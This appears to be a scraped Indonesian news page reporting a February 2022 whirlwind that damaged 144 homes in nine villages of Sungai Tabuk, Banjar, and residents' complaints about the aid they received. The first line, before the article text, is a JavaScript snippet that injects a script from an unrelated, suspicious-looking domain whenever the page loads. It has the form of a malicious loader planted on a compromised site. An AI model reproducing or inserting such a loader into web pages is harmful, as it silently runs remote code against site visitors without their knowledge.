(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Angin puting beliung menerjang sembilan desa di Kecamatan Sungai Tabuk, Kabupaten Banjar, Kalimantan Selatan. Peristiwa ini menyebabkan ratusan rumah mengalami rusak berat dan ringan.
Tiupan angin kencang disertai hujan lebat terjadi pada Senin (28/02/2022) sekitar pukul 16.30 Wita.
Informasi yang dihimpun Kanalkalimantan.com, ratusan rumah warga yang mengalami rusak berat, antara lain seluruh atap rumah terbongkar, dinding rumah roboh, tersisa hanya lantai rumah. Sedangkan rumah-rumah yang mengalami rusak ringan, antara lain, dinding rumah bolong, sebagian atap rumah terbuka.
Baca juga: Gelar Apel Pasukan Ops Keselamatan Intan 2022, Kapolres HSU Pantau kesiapan Anggota
Pemerintah Kecamatan Sungai Tabuk merillis sebanyak 144 rumah warga porak poranda dihantam hujan deras disertai angin puting beliung yang melanda 9 desa pada Senin (28/02/2022) petang kemarin.
“Berdasarkan data sementara hingga Selasa (1/3/2022) siang ini, ada sebanyak 144 rumah warga yang rusak, data ini bersifat dinamis, mengingat kita masih terus melakukan pendataan di lapangan,” kata Taufikurrahman, Camat Sungai Tabuk.
Dari ratusan rumah warga yang rusak ini 29 diantaranya mengalami rusak berat, sehingga membuat sebagian warga mengungsi ke tempat kerabat terdekat.
Terpantau Selasa (1/3/2022) siang, sejumlah bantuan mulai dikirim oleh Pemerintah Kabupaten Banjar. Guna memudahkan penyaluran bantuan, pihak kecamatan mendirikan Posko di desa yang paling terdampak parah angin puting beliung.
Baca juga: Puting Beliung Rusak Beberapa Bangunan di Loktabat Utara
“Ada 9 desa di Kecamatan Sungai Tabuk ini yang terdampak angin puting beliung, yaitu Desa Sungai Tabuk Keramat, Lok Buntar, Sungai Bangkal, Gudang Tengah, Sungai Lulut, Pembantanan, Sungai Pinang Lama, Sungai Tabuk Kota dan Desa Pemakuan yang rumahnya paling banyak rusak dihantam angin puting beliung,” jelas Taufikurrahman.
Disisi lain bantuan yang disalurkan Pemerintah Kabupaten Banjar berupa paket makanan cepat saji menuai kritik warga korban puting beliuang. Pasalnya bantuan yang diharapkan secepatnya diterima adalah berupa bahan bangunan.
“Bantuan berupa makanan mungkin untuk saat ini masih tidak begitu dibutuhkan warga, kami membutuhkan bahan bangunan seperti papan, kayu, hingga atap seng, sehingga dapat sesegeranya memperbaiki rumah kami yang rusak,” kata As’ani.
Lebih jauh As’ani mengatakan pihaknya masih belum mendapatkan bantuan terpal oleh pemerintah daerah yang seharusnya dapat dipergunakan sementara untuk menutupi perabotan jika kembali diguyur hujan. (Kanalkalimantan.com/rdy)
Reporter : rdy
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.